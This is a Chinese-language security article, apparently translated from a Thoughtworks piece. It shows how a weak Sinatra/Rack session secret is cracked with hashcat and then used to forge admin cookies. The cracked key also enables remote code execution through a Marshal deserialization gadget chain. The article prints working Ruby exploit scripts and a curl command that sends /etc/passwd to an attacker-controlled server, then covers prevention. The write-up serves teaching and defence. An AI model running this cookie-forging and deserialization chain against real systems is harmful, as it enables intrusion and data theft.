一行程式碼可能會危害您的伺服器

簡單會話密鑰的危險

會話密鑰是用於加密Cookie的金鑰。應用程式開發人員通常在開發期間將其設置為弱金鑰,並且在生產期間不修復它。本文解釋了如何破解這樣一個弱金鑰,以及如何使用該破解金鑰來掌控托管應用程式的伺服器。我們可以通過使用強金鑰和謹慎的金鑰管理來防止這種情況。程式庫作者應該通過工具和文檔來鼓勵這一點。

2017年4月3日


Photo of Jack Singleton

傑克·辛格爾頓是Thoughtworks的開發人員和安全專家。他目前的重點是幫助交付團隊納入積極的安全實踐,以建立從一開始就安全的軟體。


最近,我快速查看了一個建立在Sinatra上的小型Ruby Web應用程式。當我掃描配置程式碼時,我發現了這一行

set :session_secret, 'super secret'

哎呀。很有可能,字串“超級秘密”並不是真正的秘密。

即使我單獨在一篇關於秘密重要性的文章中提出這一行,很明顯這是一個錯誤,但這是一個非常常見的錯誤。這很容易。畢竟,它只是眾多程式碼中的一行,一旦編寫完成,很少有理由再次查看該程式碼的這一部分。

更重要的是,這是一個對使用者或開發人員沒有立即影響的錯誤。應用程序仍然可以正常工作,會話仍然保持狀態,部署繼續進行。

然而,攻擊者可能會利用這個缺陷來登錄系統中的任何用戶,甚至獲得該應用程式所在伺服器的 shell 訪問權限。

讓我們探索一下這是如何可能的,追蹤攻擊者可能採取的步驟。

但首先,這個 session secret 究竟是什麼?

什麼是會話密鑰?

Session secret 是一個用於簽署和/或加密應用程序設置的 cookie 的關鍵,以維持會話狀態。

實際上,這通常是防止用戶偽裝成其他身份的關鍵所在 -- 確保互聯網上的隨機人士無法以管理員身份訪問您的應用程序。

Cookie 是 Web 應用程序跨不同的 HTTP 請求持續狀態(如當前登錄的用戶)的最常見方式。為了實現這一點,Web 瀏覽器將保存 Web 服務器希望記住的信息片段,並在每個後續請求中傳送它回來,以提醒服務器,例如,我們仍然登錄了 -- 並且可能還有我們是否是管理員。

但是因為這些 cookie 是由 Web 瀏覽器(客戶端)存儲的,所以 Web 服務器實際上不知道它從客戶端接收到的 cookie 是否合法。這個保證並不由cookie spec提供,其中說明

惡意客戶端可能在傳輸前更改 Cookie 標頭,結果不可預測

聽起來很糟糕。後來,規範給了我們一些建議

服務器應該在將其傳送到用戶代理時加密和簽署 cookie 的內容(使用服務器期望的任何格式)

這個建議並沒有完全被遵循,Web 框架現在才開始默認加密 cookie。然而,Sinatra(以及較低級別的框架 Rack)默認情況下會簽署 cookie。這意味著儘管客戶端可以讀取 cookie 的內容,但它們不應該能夠以任何方式更改值。

許多其他框架提供了執行相同操作的功能。例如,Node/Express 有一個 secret 參數,Python/Django 有一個 SECRET_KEY 參數,Java/Play 有一個 crypto.secret 參數。儘管在內部它們可能使用稍有不同的算法,但基本功能是相同的,它們易受到我將在 Ruby/Sinatra 上下文中描述的相同攻擊。

查看圍繞 cookie 管理的 Rack 代碼,我們看到

類 Rack::Session::Cookie

  def write_session(req, session_id, session, options)
    session = session.merge("session_id" => session_id)
    session_data = coder.encode(session)
  
    if @secrets.first
      session_data << "--#{generate_hmac(session_data, @secrets.first)}"
    end
  
    # …

來源

  def generate_hmac(data, secret)
    OpenSSL::HMAC.hexdigest(@hmac.new, secret, data)
  end

來源

  def initialize(app, options={})
    @secrets = options.values_at(:secret, :old_secret).compact
    @hmac = options.fetch(:hmac, OpenSSL::Digest::SHA1)
    # …

來源

Rack 首先以某種方式編碼會話數據,然後(在其默認配置中)使用 OpenSSL 生成會話密鑰和會話數據的 HMAC-SHA1,並將該 HMAC 附加到以“--”分隔的編碼會話數據後面。

以數學術語來說,應用程序返回一個 cookie 值 (data, hmac) 其中 hmac = hmac-sha1(secret, data)

通過向我們的應用程序發送請求,我們可以看到結果

$ curl -v http://192.168.50.50:9494/
(...)
< Set-Cookie:
rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTdhYTliNGY5ZjVmOTE4MjIxYTU5%0AMGM4OGI1Y
TdjMzA3Y2QxNTYyYmJjZGQwYTEyNjJmOThhNmVlNmQzM2ExMTEG%0AOwBGSSIJY3NyZgY7AEZJIiU2M2ZjZTF
kZGIxNTc1ZmU4YzM0Y2YyZjc2M2Vl%0AMGMwYQY7AEZJIg10cmFja2luZwY7AEZ7B0kiFEhUVFBfVVNFUl9BR
0VOVAY7%0AAFRJIi1lZjE4YWVkMjg0YWI3NWU3MGEwMWIyMmUzMWI5MGU3YmE0NDcwYzc2%0ABjsARkkiGUhU
VFBfQUNDRVBUX0xBTkdVQUdFBjsAVEkiLWRhMzlhM2VlNWU2%0AYjRiMGQzMjU1YmZlZjk1NjAxODkwYWZkOD
A3MDkGOwBG%0A--b64eac9e0a5fb41a12b58a7ffe97c51b73fbf1a6;
path=/; HttpOnly

所以如果我們知道

data = BAh...%0A

並且

hmac = b64...1a6

那麼為了篡改會話數據,我們需要找到一個密鑰,其中

hmac-sha1(secret, BAh...%0A) = b64...1a6

根據設計,在這個等式中沒有辦法數學計算出 secret。為了找到它,我們只能一直猜測,直到找到正確的值...

如何破解弱會話密鑰

所以“超級秘密”並不是加密安全的隨機數據... 但是沒有源代碼的情況下,攻擊者真的能利用這一點嗎?

雖然 SHA1 不可逆,但不幸的是在這種情況下,它非常快速(作為一般用途的哈希函數,它是設計為快速的)。如果密鑰是足夠長的加密安全的隨機數據,這就不是問題,但“超級秘密”顯然不是。讓我們看看攻擊者需要多長時間才能猜中它。

我們可以嘗試運氣進行字典攻擊,而不是進行完全隨機的猜測,進行暴力攻擊。字典攻擊的名稱源於嘗試字典中的每個單詞,但實際上字典只是開始。Taylor Hornby 在 CrackStation list 中這樣寫道

該列表包含我在互聯網上找到的每個單詞列表,字典和密碼數據庫洩漏(我花了很多時間)。它還包含了維基百科數據庫(頁面-文章,2010 年檢索,所有語言)中的每個單詞,以及來自 Project Gutenberg 的許多書籍。它還包括一些多年前在地下市場出售的低調密碼數據庫的密碼。

-- Taylor Hornby

哇,聽起來像是大量的數據。完整的 CrackStation 列表在一個 15 GB 的單個文件中包含了將近 15 億條目。

SHA1 是快速的,但隨著如此多的數據,讓我們確保我們盡可能地快速計算這些哈希值。Hashcat 是一個專門做這件事的程序。它是用高度優化的 C 語言編寫的,並利用了 CPU 和 GPU 的優勢,Hashcat 將迅速計算 SHA1。 GPU 支持是關鍵,因為 GPU 可以比 CPU 更快地計算哈希值。我的筆記本電腦沒有 GPU,但不利用這種支援就太可惜了...

2013 年底,亞馬遜推出了GPU 實例作為其 EC2 提供的一部分。僅需每小時 2.60 美元,我們就可以租用 g2.8xlarge 實例,其中包括

  • 4 個 GPU
  • 32 個 vCPU
  • 60G 的內存

憑藉 CrackStation 字典、Hashcat 和我們的巨型 EC2 實例,我們可以用非常少的工作量和驚人地少的成本擁有一個相當可觀的哈希設置。

字典攻擊

讓我們試試這個,使用一些樣本數據

gen-cookie.rb…

  require 'base64'
  require 'openssl'
  
  key = 'super secret'
  cookie_data = 'test'
  cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
  digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), key, cookie)
  puts("#{cookie}--#{digest}")

$ ruby gen-cookie.rb 
BAhJIgl0ZXN0BjoGRVQ=--8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2

Hashcat 主要設計用於破解密碼哈希,這些哈希通常包括密碼和鹽,而不是數據和密鑰。但是由於有時人們在密碼存儲方案中使用 HMAC-SHA1,該程序支持此類情況。假設我們的會話數據是一個密碼鹽,我們將我們的 cookie 值轉換為 Hashcat 預期的“hash:salt”格式

$ echo '8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:BAhJIgl0ZXN0BjoGRVQ=' > hashes 

然後使用我們的新的單行哈希文件、crackstation 字典和“-m150”選項運行 Hashcat,告訴它使用 HMAC-SHA1(可以通過輸入'hashcat -h'查看支持的算法的完整列表)

$ hashcat -m150 hashes ~/wordlists/crackstation.txt
(...)
8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:BAhJIgl0ZXN0BjoGRVQ=:super secret
Session.Name...: hashcat
Status.........: Cracked
Input.Mode.....: File (/home/ec2-user/wordlists/crackstation.txt)
Hash.Target....: 8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:...
Hash.Type......: HMAC-SHA1 (key = $pass)
Time.Started...: Wed Aug 17 21:45:08 2016 (43 secs)
Speed.Dev.#1...: 6019.4 kH/s (12.95ms)
Speed.Dev.#2...: 5714.5 kH/s (13.04ms)
Speed.Dev.#3...: 5626.1 kH/s (13.20ms)
Speed.Dev.#4...: 6096.9 kH/s (13.24ms)
Speed.Dev.#*...: 23456.9 kH/s
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 1021407839/1196843344 (85.34%)
Rejected.......: 6826591/1021407839 (0.67%)
Restore.Point..: 1017123528/1196843344 (84.98%)
Started: Wed Aug 17 21:45:08 2016
Stopped: Wed Aug 17 21:46:04 2016

哇!在短短 43 秒內,我們破解了超過十億個哈希值,並在列表的 85.34% 处正確猜到了 'super secret'。

注意事項

不幸的是(或者幸運?)使用 Hashcat 的這種方式存在一個注意事項:因為它真的是為了用於密碼,而密碼鹽往往相當短,它不接受長度超過 55 個字符的“鹽”,而 rack 會話數據通常會超過這個限制。

但是,這並不意味著其他程序或甚至自定義軟件無法處理更長的有效載荷。

影響

這個實驗清楚地表明,針對 Rack 會話密鑰的字典攻擊完全是可能的。如果會話密鑰不夠加密隨機,則可以在相當短的時間、精力和資源內猜測到。

這種攻擊不僅限於 Rack 密鑰,許多 Web 框架在其默認配置中需要會話密鑰以便安全運行。這些都與我們的:session_secret非常相似,也可以以類似的方式猜測。

接下來,讓我們探討在猜測了這個密鑰後攻擊者可能造成的危害。

掌控應用程式

所以現在我們有了一個會話密鑰… 那給我們帶來了什麼?最明顯的第一件事就是嘗試偽造管理員的會話。

該應用程式有一個 /manage 路徑,只能由管理員訪問。如果沒有 cookie,請求該路徑會簡單地將我們重定向到登錄頁面。

$ curl -v http://192.168.50.50:9494/manage
* Hostname was NOT found in DNS cache
* Trying 192.168.50.50...
* Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0)
> GET /manage HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 192.168.50.50:9494
> Accept: */*
>
< HTTP/1.1 302 Found
< Location: http://192.168.50.50:9494/login
(...)

好的,但現在我們知道了會話密鑰,我們可以創建一個帶有任意值的 cookie,應用程式將信任它。

讓我們創建一個 cookie,將一些常見的管理員標誌設置為 true,使用 HMAC-SHA1 用 'super secret' 作為密鑰進行簽名,並將其發送到 Web 服務器以查看是否被接受。

gen-cookie-2.rb…

  require 'base64'
  require 'openssl'
  
  key = 'super secret'
  
  cookie_data = {
    :authorized => true,
    :authorised => true,
    :admin => true,
    :loggedin => true
  }
  
  cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
  digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), key, cookie)
  
  puts("#{cookie}--#{digest}")

運行這個…

$ curl -v http://192.168.50.50:9494/manage --cookie "rack.session=$(ruby gen-cookie-2.rb)"
* Hostname was NOT found in DNS cache
* Trying 192.168.50.50...
* Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0)
> GET /manage HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 192.168.50.50:9494
> Accept: */*
> Cookie: rack.session=BAh7CToPYXV0aG9yaXNlZFQ6D2F1dGhvcml6ZWRUOgphZG1pblQ6DWxvZ2dlZGluVA==--a3b1d4402b7345022f50a82671c17fa2b3b174e3
>
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=utf-8
< Content-Length: 2746
(...)

200 OK!在這種情況下,應用程式正在尋找“已授權”標誌是否已設置。通常還會看到應用程式使用“管理員”標誌。有時它是用戶 ID 而不是簡單的標誌,如果是這種情況,您可以嘗試低值,如 0 或 1 —— 這些通常是管理員。

影響

攻擊者可以訪問應用程式提供的任何管理功能。此外,他們還可能冒充應用程式的任何其他用戶。大量敏感數據可能會被公開,任何危險的僅限管理員功能可能會被濫用。

可悲的是,故事並沒有就此結束。在下一部分中,我們將展示攻擊者如何使用這一點升級到沒有其他漏洞的遠程代碼執行。

掌控伺服器

在這一點上,我們已經控制了應用程式……但我們實際上可以進一步控制服務器。

如果我們回到 Rack 中的 cookie 處理代碼,我們會看到以下編碼和解碼 cookie 的方法

class Rack::Session::Cookie…

  def initialize
    # snip… 
  
    @coder = options[:coder] ||= Base64::Marshal.new
    # …

來源

  # Encode session cookies as Marshaled Base64 data
  class Marshal < Base64
    def encode(str)
      super(::Marshal.dump(str))
    end
  
    def decode(str)
      return unless str
      ::Marshal.load(super(str)) rescue nil
    end
  end

來源



默認情況下,Rack 使用 Marshal.dumpMarshal.load 來序列化和反序列化數據。這對開發人員來說很方便,因為它允許在會話中保存任意 Ruby 對象,但不幸的是,這也意味著攻擊者可以濫用此功能,通過實例化具有巧妙選擇的值的對象,欺騙應用程序執行任意代碼。

這在 2010 年 Stefan Esser 在 PHP unserialize() 漏洞中稱之為 屬性導向編程 的技術中是可能的。

當我們控制 PHP 的 unserialize() 或 Ruby 的 Marshal.load() 的輸入時,我們可以告訴應用程序加載我們想要的任何類,以及我們想要的任何屬性。 Ruby 和 PHP 都不允許序列化代碼,所以技巧是選擇類和屬性值,當應用程序按照通常的方式與它們交互時,將會執行我們選擇的代碼。

在我們的情況下,Rack 對反序列化的會話數據的第一個操作是數組查找。

class Rack::Session::Cookie…

  def extract_session_id(request)
    unpacked_cookie_data(request)["session_id"]
  end

來源

那麼我們如何將一個簡單的陣列查找轉變成有趣的事情呢?

2013年,Charlie Somerville 在 Rails 的 ActiveSupport gem 中發現了一個神奇的類,名為 DeprecationProxy。儘管該應用程序是基於 Sinatra 構建的,但它將 ActiveSupport 作為依賴項引入。

DeprecationProxy 很神奇,因為它有兩件對我們非常有用的事情......一個是 method_missing 方法,另一個是我們可以完全控制的對 .__send__() 的呼叫。

method_missing 意味著任何呼叫,包括我們的 session_id 查找,都會觸發我們想要的程式碼路徑

class ActiveSupport::Deprecation::DeprecationProxy

  def method_missing(called, *args, &block)
    warn caller_locations, called, args
    target.__send__(called, *args, &block)
  end

來源

忽略上面的 __send__ 呼叫,我們感興趣的呼叫甚至在那之前就執行,在目標方法中

class ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy

  def target
    @instance.__send__(@method)
  end

來源

哇!因為 @instance@method 都是實例變數,我們可以在反序列化後控制它們的值,從而在任何對象上調用任何方法(只要該方法可以在沒有參數的情況下被調用)。

我們應該執行什麼方法呢?在 Rails 應用程序中,我們可以創建一個 ERB 模板,但該應用程序正在使用 Slim 模板的 Sinatra,並且不引入 ERB。

幸運的是,我在 Slim 所構建的 Temple 库中找到了 Temple::ERB::Template 類。

  module Temple
    # ERB example implementation
    #
    # Example usage:
    #   Temple::ERB::Template.new { "<%= 'Hello, world!' %>" }.render
    #
    module ERB
      # ERB Template class
      Template = Temple::Templates::Tilt(Engine)
    end
  end

來源

這個類的行為就像一個 Rails ERB 模板,它允許我們序列化一個字符串,當調用渲染時,該字符串將被模板 eval。

在伺服器上執行命令

好的,讓我們將所有內容組合起來

gen-cookie-rce.rb…

  require 'base64'
  require 'openssl'
  require 'temple'
  
  @key = 'super secret'
  @payload = ARGV.join ' '
  
  def gen_cookie_with_digest(cookie_data)
    cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
    digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), @key, cookie)
    "#{cookie}--#{digest}"
  end
  
  class ActiveSupport
    class Deprecation
      class DeprecatedInstanceVariableProxy
        def initialize(i, m)
          @instance = i
          @method = m
        end
      end
    end
  end
  
  erb = Temple::ERB::Template.new { "<% #{@payload} %>" }
  cookie_data = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :render
  
  puts gen_cookie_with_digest(cookie_data)

但是當我們運行它時...

$ ruby gen-cookie-rce.rb
gen-cookie-rce.rb:14:in `dump': no _dump_data is defined for class Proc (TypeError)
from gen-cookie-rce.rb:14:in `gen_cookie_with_digest'
from gen-cookie-rce.rb:41:in `<main>

嗯,Proc 是代碼,所以不能被序列化... 但我們的有效負載是一個字符串。那個 Proc 從哪裡來的?

$ irb
2.2.2 :001 > require 'temple'
=> true
2.2.2 :002 > t = Temple::ERB::Template.new { "<% puts 'test' %>" }
=> #<Temple::ERB::Template:0x000000010ced00 @options={}, @line=1, @file=nil,
@compiled_method={}, @default_encoding=nil, @reader=<Proc:0x000000010cecd8@(irb):2>,
@data="<% puts 'test' %>", @src="_buf = []; puts 'test' ; _buf << (\"\".freeze);
_buf = _buf.join"

好的,Template 使用一個 Proc 來初始化 @reader 實例變數... 但我們可以改變它。在我們進行這樣的操作時,讓我們直接設置 @src 屬性

2.2.2 :010 > t = Temple::ERB::Template.new { "" }
=> #<Temple::ERB::Template:0x0000000117e8e0 @options={}, @line=1,
@file=nil, @compiled_method={}, @default_encoding=nil,
@reader=#<Proc:0x0000000117e890@(irb):10>, @data="", @src="_buf = \"\"">
2.2.2 :011 > t.instance_variable_set(:@reader, nil)
=> nil

2.2.2 :012 > t.instance_variable_set(:@src, "puts 'test'")
=> "puts 'test'"

2.2.2 :013 > Marshal.dump(t)
=> "\x04\bo:\x1ATemple::ERB::Template\r:\r@options{\x00:\n@linei\x06:\n@file0:
\x15@compiled_method{\x00:\x16@default_encoding0:\f@reader0:\n@dataI\"
\x00\x06:\x06ET:\t@srcI\"\x10puts 'test'\x06;\rT"
2.2.2 :014 > Marshal.load(Marshal.dump(t)).render
test

看起來不錯。

在更新我們的腳本後

gen-cookie-rce.rb...

  erb = Temple::ERB::Template.new { "" }
  erb.instance_variable_set :@reader, nil
  erb.instance_variable_set :@src, @payload

我們現在可以成功生成有效負載

$ ruby gen-cookie-rce.rb 'puts test'
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQ
cm94eQg6DkBpbnN0YW5jZW86GlRlbXBsZTo6RVJCOjpUZW1wbGF0ZQ06DUBvcHRpb25zewA6CkBsaW5l
aQY6CkBmaWxlMDoVQGNvbXBpbGVkX21ldGhvZHsAOhZAZGVmYXVsdF9lbmNvZGluZzA6DEByZWFkZXIw
OgpAZGF0YUkiAAY6BkVUOglAc3JjSSIOcHV0cyB0ZXN0BjsPVDoMQG1ldGhvZDoLcmVuZGVyOhBAZGVw
cmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==--ab97c627274697118a
8c17a411917b0e35759200

儘管我們也可以嘗試在遠程服務器上打印一行,但我們可能看不到我們收到的響應中的輸出。那麼我們如何確定我們已經成功了呢?

在像這樣測試“盲目”時的一種常見策略是執行一個 sleep 或等待幾秒鐘。如果當我們這樣做時服務器暫停了一段時間,我們就知道我們能夠執行命令。

讓我們使用 Ruby 中的反引號來從外部執行 shell 並執行 sleep 命令

$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby gen-cookie-rce.rb '`sleep 2`')"
* Hostname was NOT found in DNS cache
* Trying 192.168.50.50...
* Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 192.168.50.50:9494
> Accept: */*
> Cookie: rack.session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRl
ZEluc3RhbmNlVmFyaWFibGVQcm94eQc6DkBpbnN0YW5jZW86GlRlbXBsZTo6RVJCOjpUZW1wbGF0ZQ0
6DUBvcHRpb25zewA6CkBsaW5laQY6CkBmaWxlMDoVQGNvbXBpbGVkX21ldGhvZHsAOhZAZGVmYXVsdF
9lbmNvZGluZzA6DEByZWFkZXIwOgpAZGF0YUkiAAY6BkVUOglAc3JjSSIOYHNsZWVwIDJgBjsPVDoMQ
G1ldGhvZDoLcmVuZGVy--125155123857318baac81efb24c2c630bb5cf610
>
< HTTP/1.1 500 Internal Server Error
< Content-Type: text/plain
< Content-Length: 6435
* Server WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13) is not blacklisted
< Server: WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13)
< Date: Fri, 19 Aug 2016 00:13:43 GMT
< Connection: Keep-Alive
<
NoMethodError: private method `warn' called for nil:NilClass
/home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:92:in `warn'
/home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:23:in `method_missing'
(...)

啊。如果我們看一下堆棧跟踪指向的警告方法,我們就能看到發生了什麼

class DeprecatedInstanceVariableProxy…

  def warn(callstack, called, args)
    @deprecator.warn(
      "#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}",
      callstack)
  end

來源

warn 想要調用 @deprecator.warn(),但我們並沒有為該字段指定任何值,所以它保持為 nil

我查看了一下定義了 warn 方法的類,找到了 Bundler::UI::Silent

class Bundler::UI::Silent…

  def warn(message, newline = nil)
  end

來源

所以我們將一個靜默的日誌記錄器添加到我們的代理中

gen-cookie-rce.rb...

  class DeprecatedInstanceVariableProxy
    def initialize(i, m)
      @instance = i
      @method = m
      @deprecator = Bundler::UI::Silent.new
    end
  end

然後再試一次

$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby ./gen-cookie-rce.rb '`sleep 2`')"
* Hostname was NOT found in DNS cache
* Trying 192.168.50.50...
* Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 192.168.50.50:9494
> Accept: */*
> Cookie: rack.session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6R
GVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86GlRlbXBsZ
To6RVJCOjpUZW1wbGF0ZQ06DUBvcHRpb25zewA6CkBsaW5laQY6CkBmaWxlMDoVQGNvb
XBpbGVkX21ldGhvZHsAOhZAZGVmYXVsdF9lbmNvZGluZzA6DEByZWFkZXIwOgpAZGF0Y
UkiAAY6BkVUOglAc3JjSSIOYHNsZWVwIDJgBjsPVDoMQG1ldGhvZDoLcmVuZGVyOhBAZ
GVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==--f15
c54bf271f0b3aee1c589fa40869abade262c4
> 

我等了6秒然後…

< HTTP/1.1 500 Internal Server Error 
< Content-Type: text/plain
< Content-Length: 6298
* Server WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13) is not blacklisted
< Server: WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13)
< Date: Fri, 19 Aug 2016 00:13:43 GMT
< Connection: Keep-Alive
< 
IndexError: string not matched
        /home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:24:in `[]='
        /home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:24:in `method_missing'

哇呼!那個等待時間相當長... 原來我們的命令被執行了三次。但不論是一次還是三次,一個外殼就是一個外殼。

您還可以看到我們從應用程序那裡收到了一個錯誤,但我們不在乎,因為我們的命令已經執行了。

從伺服器獲取資料

外殼就是外殼?嗯,不完全是。現在我們可以執行命令,但我們甚至不能看到結果。不過,我們可以通過將數據發送到我們控制的 Web 服務器來輕鬆解決這個問題。

首先,在具有公共可路由 IP 的機器上設置一個簡單的 Python HTTP 服務器

$ cd $(mktemp -d)
$ python3 -mhttp.server
Serving HTTP on 0.0.0.0 port 8000 ...

然後看看我們是否可以在受感染的主機上調用 curl

$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby gen-cookie-rce.rb '`curl http://our-python-server:8000`')"

然後切換回我們的 Python 服務器

127.0.0.1 - - [18/Aug/2016 17:40:47] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [18/Aug/2016 17:40:47] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [18/Aug/2016 17:40:48] "GET / HTTP/1.1" 200 -

很好。我們可以包含一些實際的數據嗎?

$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby gen-cookie-rce.rb '`curl http://our-python-server:8000?$(cat /etc/passwd | base64 -w0)`')"

127.0.0.1 - - [18/Aug/2016 17:50:26] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -
127.0.0.1 - - [18/Aug/2016 17:50:27] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -
127.0.0.1 - - [18/Aug/2016 17:50:28] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -

$ echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

影響

在這個例子中,我們只從服務器中外洩了 /etc/passwd 文件。這實際上並不是因為 passwd 文件特別敏感 -- 通常不是 -- 而是因為它通常是一個每個 Linux 服務器都存在的世界可讀文件。我們只是證明了我們可以執行任意命令並讀取結果。

從這裡,攻擊者可能首先確定應用程序可以訪問哪些外部系統。數據庫、內部 Web 服務器和備份系統都可能是有價值的目標。

然後,他們將使用與應用程序相同的信息和憑據來探索這些服務。例如,應用程序正在使用的數據庫可能包含有價值的數據,如用戶名/密碼信息、個人身份信息和信用卡信息。

同樣,這些類型的攻擊並不是 Rack 或 Ruby 專有的。反序列化是一項復雜的任務,當接受不受信任的數據時,它往往會被利用。在 2015 年,就在 Apache Commons Collections 庫(Java)中發現了一個 這樣的漏洞,影響了 WebLogic、WebSphere、JBoss 和 Jenkins 等產品。然而,不使用對象序列化的框架較不容易受到這樣攻擊的影響。例如,隨著 4.1 版的發布,Rails 將默認的序列化機制從 Marshal 切換到 JSON,從而減輕了此類攻擊的 RCE 部分,並將損害限制在偽造的會話中。

預防措施

我們已經演示了一個攻擊者如何可能因為一行(雖然至關重要的)配置代碼而對 Web 服務器獲得完全的 shell 訪問權限。現在,我們能做些什麼來防止這類漏洞再次發生呢?

針對應用程式開發人員

第一步是意識。我們在《AppSec101》(Thoughtworks的應用安全培訓課程)中強調的安全交付原則之一是「保持秘密」。這聽起來很明顯,但實際上比聽起來更困難。花費了大量時間來創建秘密管理工具和策略,其中一些由丹尼爾·索默菲爾德在他的AppSecUSA演講中討論,名為《Turtles All the Way Down:在雲端和數據中心中存儲秘密》。特別是,Hashicorp Vault是一個有前途的秘密管理服務器,具有良好的帳戶管理和審計支持。但是,設置它可能需要一些工作,而簡單的解決方案仍然比完全沒有要好得多。應用程序啟動時可以將敏感配置值指定為環境變量,並作為受保護字段提供給CI工具。例如,Jetbrains TeamCity支持隱藏的密碼參數。對於長期存儲,像1Password和pass這樣的密碼管理器具有啟用團隊安全存儲和共享秘密的功能。電子郵件、即時消息、wiki和便條上都不應存在於我們的秘密管理策略中!

我們在複製和粘貼「超級秘密」時應該做些什麼呢?

在開始這條路之前,如果您有任何安全專家可用來幫助您,應該請教他們。關於金鑰生成和管理的決定在很大程度上取決於您的情況以及您的組織和應用程序所需的安全級別。不要害怕尋求幫助!

但是如果您沒有專家可以諮詢,這裡有一些簡單的步驟可以幫助我們啟動應用程序。

我們需要使用加密安全偽隨機數生成器(CSPRNG)生成密鑰。我們可以在Unix系統上通過從/dev/urandom讀取數據並使用Base64編碼來執行此操作,以便我們最終獲得可打印的ASCII字符。

$ head -c20 /dev/urandom | base64
Xe005osOAE8ZRMDReizQJjlLrrs=

在這裡,我們生成了一個20位元組,或160位元的密鑰。您應該使用多大的密鑰大小這是一個很好的問題,您可以向您的安全專家提問。我選擇了20位元組,因為SHA-1的長度就是這個,而且擁有更長的秘密並不會幫助我們。如果我們認為160位元不夠安全,我們需要替換SHA-1並增加會話密鑰的長度。

接下來,我們將不再將這個密鑰添加到源代碼中,而是通過環境變量動態引用它。

set :session_secret, ENV.fetch('SESSION_SECRET') { SecureRandom.hex(20) } 

這將嘗試從環境變量中提取會話密鑰,以防萬一我們忘記指定一個,將在缺少環境變量時動態生成它。

最後,在應用程序啟動時,我們必須指定這個環境變量

SESSION_SECRET=’Xe005osOAE8ZRMDReizQJjlLrrs=’ ruby sinatra-app.rb -p 8080 

如果你在想要在啟動應用程序時將密鑰保存在哪裡,那麼你碰到了“無窮套娃”問題,應該查看丹尼爾的講座。根據你的自動化程度、運營團隊的成熟度和所需的安全級別,有許多不同的策略。如果你只是需要快速設置一個東西,可以考慮設置一個團隊密碼管理器,如1Password TeamsDashlane Businesspass

